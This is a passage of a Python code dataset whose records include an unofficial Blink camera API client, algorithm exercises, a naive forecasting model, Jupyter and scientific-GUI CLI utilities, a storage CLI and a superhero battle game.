phone.save()","sub_path":"work_with_database/phones/management/commands/import_phones.py","file_name":"import_phones.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"273588142","text":"# -*- coding: utf-8 -*-\n\"\"\"\nblinkpy is an unofficial api for the Blink security camera system.\n\nrepo url: https://github.com/fronzbot/blinkpy\n\nOriginal protocol hacking by MattTW :\nhttps://github.com/MattTW/BlinkMonitorProtocol\n\nPublished under the MIT license - See LICENSE file for more details.\n\"Blink Wire-Free HS Home Monitoring & Alert Systems\" is a trademark\nowned by Immedia Inc., see www.blinkforhome.com for more information.\nblinkpy is in no way affiliated with Blink, nor Immedia Inc.\n\"\"\"\n\nimport os.path\nimport time\nimport logging\nfrom shutil import copyfileobj\n\nfrom requests.structures import CaseInsensitiveDict\nfrom dateutil.parser import parse\nfrom slugify import slugify\n\nfrom blinkpy import api\nfrom blinkpy.sync_module import BlinkSyncModule\nfrom blinkpy.helpers.util import (\n create_session,\n merge_dicts,\n get_time,\n BlinkURLHandler,\n Throttle,\n)\nfrom blinkpy.helpers.constants import (\n BLINK_URL,\n DEFAULT_MOTION_INTERVAL,\n DEFAULT_REFRESH,\n MIN_THROTTLE_TIME,\n LOGIN_URLS,\n)\nfrom blinkpy.helpers.constants import __version__\nfrom blinkpy.login_handler import LoginHandler\n\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass Blink:\n \"\"\"Class to initialize communication.\"\"\"\n\n def __init__(\n self,\n username=None,\n password=None,\n cred_file=None,\n refresh_rate=DEFAULT_REFRESH,\n motion_interval=DEFAULT_MOTION_INTERVAL,\n legacy_subdomain=False,\n no_prompt=False,\n persist_key=None,\n device_id=\"Blinkpy\",\n ):\n \"\"\"\n Initialize Blink system.\n\n :param username: Blink username (usually email address)\n :param password: Blink password\n :param cred_file: JSON formatted file to store credentials.\n If username and password are given, file\n is ignored. Otherwise, username and password\n are loaded from file.\n :param refresh_rate: Refresh rate of blink information.\n Defaults to 15 (seconds)\n :param motion_interval: How far back to register motion in minutes.\n Defaults to last refresh time.\n Useful for preventing motion_detected property\n from de-asserting too quickly.\n :param legacy_subdomain: Set to TRUE to use old 'rest.region'\n endpoints (only use if you are having\n api issues).\n :param no_prompt: Set to TRUE if using an implementation that needs to\n suppress command-line output.\n :param persist_key: Location of persistant identifier.\n :param device_id: Identifier for the application. Default is 'Blinkpy'.\n This is used when logging in and should be changed to\n fit the implementation (ie. \"Home Assistant\" in a\n Home Assistant integration).\n \"\"\"\n self.login_handler = LoginHandler(\n username=username,\n password=password,\n cred_file=cred_file,\n persist_key=persist_key,\n device_id=device_id,\n )\n self._token = None\n self._auth_header = None\n self._host = None\n self.account_id = None\n self.client_id = None\n self.network_ids = []\n self.urls = None\n self.sync = CaseInsensitiveDict({})\n self.region = None\n self.region_id = None\n self.last_refresh = None\n self.refresh_rate = refresh_rate\n self.session = create_session()\n self.networks = []\n self.cameras = CaseInsensitiveDict({})\n self.video_list = CaseInsensitiveDict({})\n self.login_url = LOGIN_URLS[0]\n self.login_urls = []\n self.motion_interval = motion_interval\n self.version = __version__\n self.legacy = legacy_subdomain\n self.no_prompt = no_prompt\n self.available = False\n self.key_required = False\n self.login_response = {}\n\n @property\n def auth_header(self):\n \"\"\"Return the authentication header.\"\"\"\n return self._auth_header\n\n def start(self):\n \"\"\"\n Perform full system setup.\n\n Method logs in and sets auth token, urls, and ids for future requests.\n Essentially this is just a wrapper function for ease of use.\n \"\"\"\n if not self.available:\n self.get_auth_token()\n\n if self.key_required and not self.no_prompt:\n email = self.login_handler.data[\"username\"]\n key = input(\"Enter code sent to {}: \".format(email))\n result = self.login_handler.send_auth_key(self, key)\n self.key_required = not result\n self.setup_post_verify()\n elif not self.key_required:\n self.setup_post_verify()\n\n def setup_post_verify(self):\n \"\"\"Initialize blink system after verification.\"\"\"\n camera_list = self.get_cameras()\n networks = self.get_ids()\n for network_name, network_id in networks.items():\n if network_id not in camera_list.keys():\n camera_list[network_id] = {}\n _LOGGER.warning(\"No cameras found for %s\", network_name)\n sync_module = BlinkSyncModule(\n self, network_name, network_id, camera_list[network_id]\n )\n sync_module.start()\n self.sync[network_name] = sync_module\n self.cameras = self.merge_cameras()\n self.available = self.refresh()\n self.key_required = False\n\n def login(self):\n \"\"\"Perform server login. DEPRECATED.\"\"\"\n _LOGGER.warning(\n \"Method is deprecated and will be removed in a future version. Please use the LoginHandler.login() method instead.\"\n )\n return self.login_handler.login(self)\n\n def get_auth_token(self, is_retry=False):\n \"\"\"Retrieve the authentication token from Blink.\"\"\"\n self.login_response = self.login_handler.login(self)\n if not self.login_response:\n self.available = False\n return False\n self.setup_params(self.login_response)\n if self.login_handler.check_key_required(self):\n self.key_required = True\n return self._auth_header\n\n def setup_params(self, response):\n \"\"\"Retrieve blink parameters from login response.\"\"\"\n self.login_url = self.login_handler.login_url\n ((self.region_id, self.region),) = response[\"region\"].items()\n self._host = \"{}.{}\".format(self.region_id, BLINK_URL)\n self._token = response[\"authtoken\"][\"authtoken\"]\n self._auth_header = {\"Host\": self._host, \"TOKEN_AUTH\": self._token}\n self.urls = BlinkURLHandler(self.region_id, legacy=self.legacy)\n self.networks = self.get_networks()\n self.client_id = response[\"client\"][\"id\"]\n self.account_id = response[\"account\"][\"id\"]\n\n def get_networks(self):\n \"\"\"Get network information.\"\"\"\n response = api.request_networks(self)\n try:\n return response[\"summary\"]\n except KeyError:\n return None\n\n def get_ids(self):\n \"\"\"Set the network ID and Account ID.\"\"\"\n all_networks = []\n network_dict = {}\n for network, status in self.networks.items():\n if status[\"onboarded\"]:\n all_networks.append(\"{}\".format(network))\n network_dict[status[\"name\"]] = network\n\n self.network_ids = all_networks\n return network_dict\n\n def get_cameras(self):\n \"\"\"Retrieve a camera list for each onboarded network.\"\"\"\n response = api.request_homescreen(self)\n try:\n all_cameras = {}\n for camera in response[\"cameras\"]:\n camera_network = str(camera[\"network_id\"])\n camera_name = camera[\"name\"]\n camera_id = camera[\"id\"]\n camera_info = {\"name\": camera_name, \"id\": camera_id}\n if camera_network not in all_cameras:\n all_cameras[camera_network] = []\n\n all_cameras[camera_network].append(camera_info)\n return all_cameras\n except KeyError:\n _LOGGER.error(\"Initialization failue. Could not retrieve cameras.\")\n return {}\n\n @Throttle(seconds=MIN_THROTTLE_TIME)\n def refresh(self, force_cache=False):\n \"\"\"\n Perform a system refresh.\n\n :param force_cache: Force an update of the camera cache\n \"\"\"\n if self.check_if_ok_to_update() or force_cache:\n for sync_name, sync_module in self.sync.items():\n _LOGGER.debug(\"Attempting refresh of sync %s\", sync_name)\n sync_module.refresh(force_cache=force_cache)\n if not force_cache:\n # Prevents rapid clearing of motion detect property\n self.last_refresh = int(time.time())\n return True\n return False\n\n def check_if_ok_to_update(self):\n \"\"\"Check if it is ok to perform an http request.\"\"\"\n current_time = int(time.time())\n last_refresh = self.last_refresh\n if last_refresh is None:\n last_refresh = 0\n if current_time >= (last_refresh + self.refresh_rate):\n return True\n return False\n\n def merge_cameras(self):\n \"\"\"Merge all sync camera dicts into one.\"\"\"\n combined = CaseInsensitiveDict({})\n for sync in self.sync:\n combined = merge_dicts(combined, self.sync[sync].cameras)\n return combined\n\n def download_videos(self, path, since=None, camera=\"all\", stop=10, debug=False):\n \"\"\"\n Download all videos from server since specified time.\n\n :param path: Path to write files. /path/_.mp4\n :param since: Date and time to get videos from.\n Ex: \"2018/07/28 12:33:00\" to retrieve videos since\n July 28th 2018 at 12:33:00\n :param camera: Camera name to retrieve. Defaults to \"all\".\n Use a list for multiple cameras.\n :param stop: Page to stop on (~25 items per page. Default page 10).\n :param debug: Set to TRUE to prevent downloading of items.\n Instead of downloading, entries will be printed to log.\n \"\"\"\n if since is None:\n since_epochs = self.last_refresh\n else:\n parsed_datetime = parse(since, fuzzy=True)\n since_epochs = parsed_datetime.timestamp()\n\n formatted_date = get_time(time_to_convert=since_epochs)\n _LOGGER.info(\"Retrieving videos since %s\", formatted_date)\n\n if not isinstance(camera, list):\n camera = [camera]\n\n for page in range(1, stop):\n response = api.request_videos(self, time=since_epochs, page=page)\n _LOGGER.debug(\"Processing page %s\", page)\n try:\n result = response[\"media\"]\n if not result:\n raise IndexError\n except (KeyError, IndexError):\n _LOGGER.info(\"No videos found on page %s. Exiting.\", page)\n break\n\n self._parse_downloaded_items(result, camera, path, debug)\n\n def _parse_downloaded_items(self, result, camera, path, debug):\n \"\"\"Parse downloaded videos.\"\"\"\n for item in result:\n try:\n created_at = item[\"created_at\"]\n camera_name = item[\"device_name\"]\n is_deleted = item[\"deleted\"]\n address = item[\"media\"]\n except KeyError:\n _LOGGER.info(\"Missing clip information, skipping...\")\n continue\n\n if camera_name not in camera and \"all\" not in camera:\n _LOGGER.debug(\"Skipping videos for %s.\", camera_name)\n continue\n\n if is_deleted:\n _LOGGER.debug(\"%s: %s is marked as deleted.\", camera_name, address)\n continue\n\n clip_address = \"{}{}\".format(self.urls.base_url, address)\n filename = \"{}-{}\".format(camera_name, created_at)\n filename = \"{}.mp4\".format(slugify(filename))\n filename = os.path.join(path, filename)\n\n if not debug:\n if os.path.isfile(filename):\n _LOGGER.info(\"%s already exists, skipping...\", filename)\n continue\n\n response = api.http_get(self, url=clip_address, stream=True, json=False)\n with open(filename, \"wb\") as vidfile:\n copyfileobj(response.raw, vidfile)\n\n _LOGGER.info(\"Downloaded video to %s\", filename)\n else:\n print(\n (\"Camera: {}, Timestamp: {}, \" \"Address: {}, Filename: {}\").format(\n camera_name, created_at, address, filename\n )\n )\n","sub_path":"blinkpy/blinkpy.py","file_name":"blinkpy.py","file_ext":"py","file_size_in_byte":13018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"23277420","text":"def solution(n, lost, reserve):\n r_set = set(reserve)\n l_set = set(lost)\n real_r = r_set - l_set \n real_l = l_set - r_set\n helper= {}\n for e in real_r:\n helper[e] = list()\n if e-1 in real_l:\n helper[e].append(e-1)\n if e+1 in real_l:\n helper[e].append(e+1)\n\n h = sorted(helper.items())\n h = sorted(h, key = lambda x: len(x[1]))\n print(h)\n for e in h :\n if len(e[1]) == 1:\n if e[1][0] in real_l:\n real_l.remove(e[1][0])\n elif len(e[1]) == 2:\n if e[1][0] in real_l:\n real_l.remove(e[1][0])\n else :\n if e[1][1] in real_l:\n real_l.remove(e[1][1])\n \n return n - len(real_l)\n\n\ndef best_solution(n, lost, reserve):\n _reserve = [r for r in reserve if r not in lost]\n _lost = [l for l in lost if l not in reserve]\n for r in _reserve:\n f = r-1\n b = r+1\n if f in _lost :\n _lost.remove(f)\n elif b in _lost :\n _lost.remove(b)\n return n - len(_lost)\n\nn =5 \nlost = [2,4]\nreserve = [1,3,5]\n\nresult = solution(n, lost, reserve)\nprint(result)\n\n\n\n","sub_path":"greedy/workoutfit.py","file_name":"workoutfit.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"478982775","text":"__author__: 'Сакаев Александр Самигуллович'\n\n# task 1:\nfrom sys import argv\n\n\ndef salary(pay_rate, time_worked, bonus):\n wage = (pay_rate * time_worked) + bonus\n print(wage)\n\n\ntasks, a, b, c = argv\n\nsalary(float(a), float(b), float(c))\n\n# task 2:\na = list(map(int, input('Enter numbers: ').split()))\nresult = [numbers for i, numbers in enumerate(a) if i > 0 and a[i] > a[i - 1]]\nprint(result)\n\n# task 3:\nresult = [i for i in range(20, 240) if i % 20 == 0 or i % 21 == 0]\nprint(result)\n\n# task 4:\na = list(input('Enter numbers: ').split())\nresult = [i for i in a if a.count(i) == 1]\nprint(result)\n\n# task 5:\nfrom functools import reduce\n\n\ndef funk(a, b):\n return a * b\n\n\nresult = [i for i in range(99, 1001) if i % 2 == 0]\nprint(reduce(funk, result))\n\n# task 6:\nfrom itertools import count\n\nfor element in count(3):\n if element > 10:\n break\n else:\n print(element)\n\nfrom itertools import cycle\n\nl = ['a', 'b', 'c', 'd']\nx = 0\nfor i in cycle(l):\n x += 1\n if x > 10:\n break\n else:\n print(i)\n\n\n# task 7:\ndef fact(n):\n x = 1\n for i in range(1, n + 1):\n x *= i\n yield x\n\n\nn = int(input('Enter number: '))\nfor i in fact(n):\n print(i)\n","sub_path":"lesson_4/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"325954130","text":"import numpy as np\n\nclass NaiveModel:\n def __init__ (self, threshold=0.5, regularization=False):\n self.threshold = threshold\n self.regularization = regularization\n \n def train (self, X, Y):\n Y1 = np.matrix (Y).transpose().tolist()\n y1_rows = len (Y1)\n y1_cols = len (Y1[0])\n self.output_size = y1_rows\n \n def predict (self, input):\n out = self.output_size * [0]\n for i in range (0, self.output_size):\n out[i] = input [len (input)- self.output_size+i]\n return out\n\n\n def test_model (self, input, output, verbose=True):\n total_l2_error = 0\n total_l1_error = 0\n predictions = []\n \n for i in range (len (output)):\n prediction = self.predict (input[i])\n predictions.append (prediction)\n err = self.l2_error (output[i], prediction)\n total_l2_error += err\n err = self.l1_error (output[i], prediction)\n total_l1_error += err\n if verbose:\n print (str (i+1)+ \") \")\n print (\"\\tActual\\t\\tPredicted\")\n for prod in range (0, len (output[i])):\n print (\"\\t\"+str(output [i][prod])+\"\\t\\t\"+str(prediction[prod]))\n #print (\"Actual: \" + str(output[i]))\n #print (\"Predicted: \"+ str(prediction))\n print (\"L2 Error: \" + str (err))\n print (\"Std Dev: \" + str ((err/len (output[i])) ** (0.5)))\n print (\"\")\n total_l2_error = total_l2_error / len (output)\n print (\"Average Error L2: \" + str (total_l2_error))\n \n rmsd = (total_l2_error / len (output[0]))**0.5\n print (\"RMSD: \" + str(rmsd))\n \n total_l1_error = total_l1_error / len (output)\n print (\"Average Error L1: \" + str (total_l2_error))\n \n average_deviation = (total_l1_error / len (output[0]))\n print (\"Average Deviation per Query: \" + str(average_deviation))\n \n #coeffs = self.coeff_of_determination (output, predictions)\n #print (\"Coefficients of determination: \" + str (coeffs))\n \n cntng_table = self.contingency_table (output, predictions)\n print (cntng_table[0])\n \n def l1_error (self, real, prediction):\n error = 0\n for i in range (len (real)):\n error += abs(real[i] - prediction[i])\n return error\n\n def l2_error (self, real, prediction):\n error = 0\n for i in range (len (real)):\n error += (real[i] - prediction[i]) ** 2\n return error\n\n def mean (self, list):\n return sum (list) / len (list)\n \n def variance (self, list):\n mean = self.mean (list)\n variance = 0\n for value in list:\n variance += (value - mean) ** 2\n return variance / len(list)\n\n \"\"\"\n Returns a contingency table\n \"\"\"\n def contingency_table (self, real, prediction):\n table = []\n for i in range (0, len (real[0])):\n table.append ([0, 0, 0, 0])\n for b in range (0, len (real)):\n if (real[b][i] == 1):\n if (prediction [b][i] >= self.threshold):\n table[i][0] += 1 # True positive\n else:\n table[i][2] += 1 # False negative\n else:\n if (prediction[b][i] >= self.threshold):\n table[i][1] += 1 # False positive\n else:\n table[i][3] += 1 # True negative\n return table\n\n\n","sub_path":"forecaster/models/NaiveModel.py","file_name":"NaiveModel.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"61090532","text":"# Copyright 2023 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom jupyter_server.gateway.connections import GatewayWebSocketConnection\nfrom jupyter_server.gateway.managers import GatewayKernelManager\nfrom jupyter_server.services.kernels.connection.base import BaseKernelWebsocketConnection\nfrom jupyter_server.services.kernels.connection.channels import ZMQChannelsWebsocketConnection\n\nclass DelegatingWebsocketConnection(BaseKernelWebsocketConnection):\n \"\"\"Implementation of BaseKernelWebsocketConnection that delegates to another connection.\n\n If the parent KernelManager instance is for a remote kernel (i.e. it is a\n GatewayKernelManager), then the delegate is an instance of GatewayWebSocketConnection.\n\n Otherwise, it is an instance of ZMQChannelsWebsocketConnection.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n delegate_class = ZMQChannelsWebsocketConnection\n if self.kernel_manager.is_remote:\n delegate_class = GatewayWebSocketConnection\n self.delegate = delegate_class(\n parent=self.kernel_manager.delegate,\n websocket_handler=self.websocket_handler,\n config=self.config)\n\n async def connect(self):\n return await self.delegate.connect()\n\n async def disconnect(self):\n return await self.delegate.disconnect()\n\n def handle_incoming_message(self, msg):\n return self.delegate.handle_incoming_message(msg)\n\n def handle_outgoing_message(self, stream, msg):\n return self.delegate.handle_outgoing_message(stream, msg)\n\n # Prepare actually comes from ZMQChannelsWebsocketConnection.\n #\n # It is called by the jupyter_server kernels websocket handler if present, so\n # we provide an implemention of it in case the delegate is an instance of the\n # ZMQChannelWebsocketConnection class.\n async def prepare(self):\n if hasattr(self.delegate, \"prepare\"):\n return await self.delegate.prepare()\n","sub_path":"kernels-mixer/kernels_mixer/websockets.py","file_name":"websockets.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"7712172","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/taurus/qt/qtgui/qwt5/cli.py\n# Compiled at: 2019-08-19 15:09:30\nimport click\nfrom .taurustrend import TaurusTrend\n\n@click.group('qwt5')\ndef qwt5():\n \"\"\"Qwt5 related commands\"\"\"\n pass\n\n\n@qwt5.command('plot')\n@click.argument('models', nargs=-1)\n@click.option('--config', 'config_file', type=click.File('rb'), help='configuration file for initialization')\n@click.option('-x', '--x-axis-mode', 'x_axis_mode', type=click.Choice(['t', 'n']), default='n', show_default=True, help='X axis mode. \"t\" implies using a Date axis' + '\"n\" uses the regular axis')\n@click.option('--demo', is_flag=True, help='show a demo of the widget')\n@click.option('--window-name', 'window_name', default='TaurusPlot (qwt5)', help='Name of the window')\ndef plot_cmd(models, config_file, x_axis_mode, demo, window_name):\n \"\"\"Shows a plot for the given models\"\"\"\n from .taurusplot import plot_main\n return plot_main(models=models, config_file=config_file, x_axis_mode=x_axis_mode, demo=demo, window_name=window_name)\n\n\n@qwt5.command('trend')\n@click.argument('models', nargs=-1)\n@click.option('-x', '--x-axis-mode', 'x_axis_mode', type=click.Choice(['t', 'n']), default='n', show_default=True, help='X axis mode. \"t\" implies using a Date axis' + '\"n\" uses the regular axis')\n@click.option('-a', '--use-archiving', 'use_archiving', is_flag=True, default=False, help='enable automatic archiving queries')\n@click.option('-b', '--buffer', 'max_buffer_size', type=int, default=TaurusTrend.DEFAULT_MAX_BUFFER_SIZE, show_default=True, help='maximum number of values per curve to be plotted')\n@click.option('-r', '--forced-read', 'forced_read_period', type=int, default=-1, metavar='MILLISECONDS', help='force re-reading of the attributes every MILLISECONDS ms')\n@click.option('--config', 'config_file', type=click.File('rb'), help='configuration file for initialization')\n@click.option('--demo', is_flag=True, help='show a demo of the widget')\n@click.option('--window-name', 'window_name', default='TaurusPlot (qwt5)', help='Name of the window')\ndef trend_cmd(models, x_axis_mode, use_archiving, max_buffer_size, forced_read_period, config_file, demo, window_name):\n \"\"\"Shows a trend for the given models\"\"\"\n from .taurustrend import trend_main\n return trend_main(models=models, config_file=config_file, x_axis_mode=x_axis_mode, use_archiving=use_archiving, max_buffer_size=max_buffer_size, forced_read_period=forced_read_period, demo=demo, window_name=window_name)\n\n\nif __name__ == '__main__':\n qwt5()","sub_path":"pycfiles/taurus-4.6.1-py2.7/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"312174897","text":"# -*- coding: utf-8 -*-\n#\n# Copyright 2017 - Swiss Data Science Center (SDSC)\n# A partnership between École Polytechnique Fédérale de Lausanne (EPFL) and\n# Eidgenössische Technische Hochschule Zürich (ETHZ).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Handle storage API.\"\"\"\n\nimport click\nimport requests\n\nfrom renga.client import RengaClient\nfrom renga.client.storage import CreateBucket\n\nfrom ._config import config_path, with_config\nfrom ._options import option_endpoint\nfrom ._token import exchange_token, offline_token_using_password, \\\n with_access_token\n\n\n@click.group(name='io', invoke_without_command=True)\n@with_config\n@click.pass_context\ndef storage(ctx, config):\n \"\"\"Manage storage.\"\"\"\n if ctx.invoked_subcommand is None:\n click.echo('Try --help')\n\n\n@storage.command()\n@option_endpoint\n@with_config\ndef backends(config, endpoint):\n \"\"\"List all available storage backends.\"\"\"\n with with_access_token(config, endpoint) as access_token:\n client = RengaClient(endpoint=endpoint, access_token=access_token)\n for backend in client.storage.backends:\n click.echo(backend)\n\n\n@storage.group()\ndef bucket():\n \"\"\"Bucket manipulation.\"\"\"\n\n\n@bucket.command()\n@click.argument('name')\n@click.option('-b', '--backend', default='local')\n@option_endpoint\n@with_config\ndef create(config, name, backend, endpoint):\n \"\"\"Create new bucket.\"\"\"\n with with_access_token(config, endpoint) as access_token:\n client = RengaClient(endpoint=endpoint, access_token=access_token)\n bucket_id = client.storage.create_bucket(\n CreateBucket(name=name, backend=backend))\n\n config['project']['endpoints'].setdefault(endpoint, {})\n config['project']['endpoints'][endpoint].setdefault('buckets', {})\n config['project']['endpoints'][endpoint]['buckets'][bucket_id] = name\n\n # Set default bucket\n config['project']['endpoints'][endpoint].setdefault(\n 'default_bucket', bucket_id)\n\n click.echo(bucket_id)\n\n\n@bucket.command()\n@option_endpoint\n@with_config\ndef list(config, endpoint):\n \"\"\"List buckets.\"\"\"\n buckets = config['project']['endpoints'][endpoint].get('buckets', {})\n\n if buckets is None:\n raise click.ClickException('No registered buckets')\n\n for bucket_id, name in buckets.items():\n click.echo('{0}\\t{1}'.format(name, bucket_id))\n","sub_path":"renga/cli/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"187055239","text":"from SuperPoder import SuperPoder\r\nfrom Personagem import Personagem\r\nfrom SuperHeroi import SuperHeroi\r\nfrom Vilao import Vilao\r\nfrom Confronto import Confronto\r\n\r\n# ----------------------------------- criando superpoderes ----------------------------------------\r\n# Mario\r\nflorDeFogo = SuperPoder(\"Flor de fogo\", 3)\r\nplumaMagica = SuperPoder(\"Pluma Mágica\", 4)\r\nflorDeGelo = SuperPoder(\"Flor de gelo\", 3)\r\ncogumelo = SuperPoder(\"Cogumelo\", 2)\r\nestrela = SuperPoder(\"Estrela\", 5)\r\n\r\n# Homem Aranha\r\nsoltarTeia = SuperPoder(\"Soltar teia\", 3)\r\nandarEmParedes = SuperPoder(\"Andar em paredes\", 2)\r\nsentidoAranha = SuperPoder(\"Sentido aranha\", 1)\r\n\r\n# Super Homem\r\nvoar = SuperPoder(\"voar\", 3)\r\nforca = SuperPoder(\"forca\", 5)\r\nraioX = SuperPoder(\"raioX\", 4)\r\nsoproCongelante = SuperPoder(\"soproCongelante\", 4)\r\n\r\n#Capitão América\r\nsuperSoldado = SuperPoder(\"Super Soldado\", 3)\r\nescudo = SuperPoder(\"Escudo\", 5)\r\n\r\n# Flash\r\nvelocidade = SuperPoder(\"Velocidade\", 5)\r\n\r\n# Lanterna Verde\r\nanelMagico = SuperPoder(\"Anel Mágico\", 5)\r\n\r\n# Homem de Ferro\r\narmadura = SuperPoder(\"Armadura\", 4)\r\ndispositivosEletronicos = SuperPoder(\"Dispositivos eletrônicos\", 2)\r\n\r\n# Lex Luthor\r\nmenteAgucada = SuperPoder(\"Mente aguçada\", 5)\r\n\r\n# Octopus\r\ntentaculos = SuperPoder(\"Tentáculos indestrutíveis\", 5)\r\npocaVelocidade = SuperPoder(\"Velocidade\", 1)\r\n\r\n# ---------------------------- criando superHerois --------------------------------\r\n# Homem Aranha\r\nhomemAranha = SuperHeroi(\"Homem Aranha\", \"Peter Parker\")\r\nhomemAranha.adicionaSuperPoder(soltarTeia)\r\nhomemAranha.adicionaSuperPoder(andarEmParedes)\r\nhomemAranha.adicionaSuperPoder(sentidoAranha)\r\n\r\n# Super Homem\r\nsuperHomem = SuperHeroi(\"Super Homem\", \"Clark Kent\")\r\nsuperHomem.adicionaSuperPoder(voar)\r\nsuperHomem.adicionaSuperPoder(forca)\r\nsuperHomem.adicionaSuperPoder(raioX)\r\nsuperHomem.adicionaSuperPoder(soproCongelante)\r\n\r\n# Capitão América\r\ncapitaoAmerica = SuperHeroi(\"Capitão América\", \"Steven Rogers\")\r\ncapitaoAmerica.adicionaSuperPoder(superSoldado)\r\ncapitaoAmerica.adicionaSuperPoder(escudo)\r\n\r\n# Flash \r\nflash = SuperHeroi(\"Flash\", \"Barry Allen\")\r\nflash.adicionaSuperPoder(forca)\r\n\r\n# Lanterna Verde\r\nlanternaVerde = SuperHeroi(\"Lanterna Verde\", \"Hal Jordan\")\r\nlanternaVerde.adicionaSuperPoder(anelMagico)\r\n\r\n# Homem de Ferro\r\nhomemDeFerro = SuperHeroi(\"Homem de Ferro\", \"Tony Stark\")\r\nhomemDeFerro.adicionaSuperPoder(armadura)\r\nhomemDeFerro.adicionaSuperPoder(dispositivosEletronicos)\r\n\r\n# ----------------------------- criando vilões -----------------------------------\r\n# Duende Verde\r\nduendeVerde = Vilao(\"Duende Verde\", \"Norman Osbourne\", 15)\r\nduendeVerde.adicionaSuperPoder(forca)\r\n\r\n# Lex Luthor\r\nlexLuthor = Vilao(\"Lex Luthor\", \"Lex Luthor\", 10)\r\nlexLuthor.adicionaSuperPoder(menteAgucada)\r\n\r\n# Bizarro\r\nbizarro = Vilao(\"Bizarro\", \"Bizarro\", 20)\r\nbizarro.adicionaSuperPoder(voar)\r\nbizarro.adicionaSuperPoder(forca)\r\nbizarro.adicionaSuperPoder(raioX)\r\nbizarro.adicionaSuperPoder(soproCongelante)\r\n\r\n# Octopus\r\noctopus = Vilao(\"Octopus\", \"Otto Octavius\", 22)\r\noctopus.adicionaSuperPoder(tentaculos)\r\noctopus.adicionaSuperPoder(pocaVelocidade)\r\n\r\n# --------------------------------- testando -------------------------------------\r\n\r\n# cria lista de herois e vilões para exibi-los no console\r\nherois = [homemAranha, capitaoAmerica, superHomem, flash, lanternaVerde, homemDeFerro]\r\nviloes = [duendeVerde, lexLuthor, bizarro, octopus]\r\n\r\n# exibe os heróis da lista\r\ndef mostraHerois():\r\n\t\tprint (\"Heróis:\")\r\n\t\tfor heroi in herois:\r\n\t\t\t\tprint(heroi.getNome() + \", poder: \" + str(heroi.getPoderTotal()))\r\n\r\n# exibe os vilões da lista\r\ndef mostraViloes():\r\n\t\tprint (\"Vilões:\")\r\n\t\tfor vilao in viloes:\r\n\t\t\t\tprint(vilao.getNome() + \", poder: \" + str(vilao.getPoderTotal()) + \", Tempo de prisão: \" + str(vilao.getAnosDePrisao()) + \" anos.\")\r\n\r\n# iniciam-se os confrontos\r\nconfronto = Confronto()\r\nprint (confronto.executarConfronto(homemAranha, octopus))\r\nprint (confronto.executarConfronto(superHomem, bizarro))\r\nprint (confronto.executarConfronto(homemDeFerro, bizarro))\r\n","sub_path":"Jogo.py","file_name":"Jogo.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"566581489","text":"# https://leetcode.com/problems/sum-of-root-to-leaf-binary-numbers/\n# ---------------------------------------------------\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left = self.right = None\n\n\n# Runtime Complexity: O(N)\n# Space Complexity: O(max_depth), which is O(N) in worst case(skewed Tree) or O(max_depth) in case of balanced tree.\nclass Solution:\n def sumRootToLeaf(self, node: TreeNode) -> int:\n if not node:\n return 0\n\n stack = deque()\n stack.append((node, node.val))\n\n total_sum = 0\n\n while stack:\n node, cur_sum = stack.pop()\n\n if not node.left and not node.right:\n total_sum += cur_sum\n\n if node.left:\n stack.append((node.left, cur_sum * 2 + node.left.val))\n\n if node.right:\n stack.append((node.right, cur_sum * 2 + node.right.val))\n\n\n return total_sum\n\n# ---------------------------------------------------\n# Uses DN functions:\n# ---------------------------------------------------\nfrom collections import deque\n\n\ndef createBinaryTreeFromArray(arr):\n if arr is None or len(arr) == 0:\n return None\n\n root_node = TreeNode(arr[0])\n q = deque()\n q.append(root_node)\n\n i = 1\n while q and i < len(arr):\n node = q.popleft()\n\n if node:\n if arr[i] is not None:\n node.left = TreeNode(arr[i])\n q.append(node.left)\n i += 1\n\n if i < len(arr) and arr[i] is not None:\n node.right = TreeNode(arr[i])\n q.append(node.right)\n i += 1\n\n return root_node\n\n\n# ---------------------------------------------------\n# Test Cases\n# ---------------------------------------------------\nsolution = Solution()\nprint(solution.sumRootToLeaf(createBinaryTreeFromArray([1, 0, 1, 0, 1, 0, 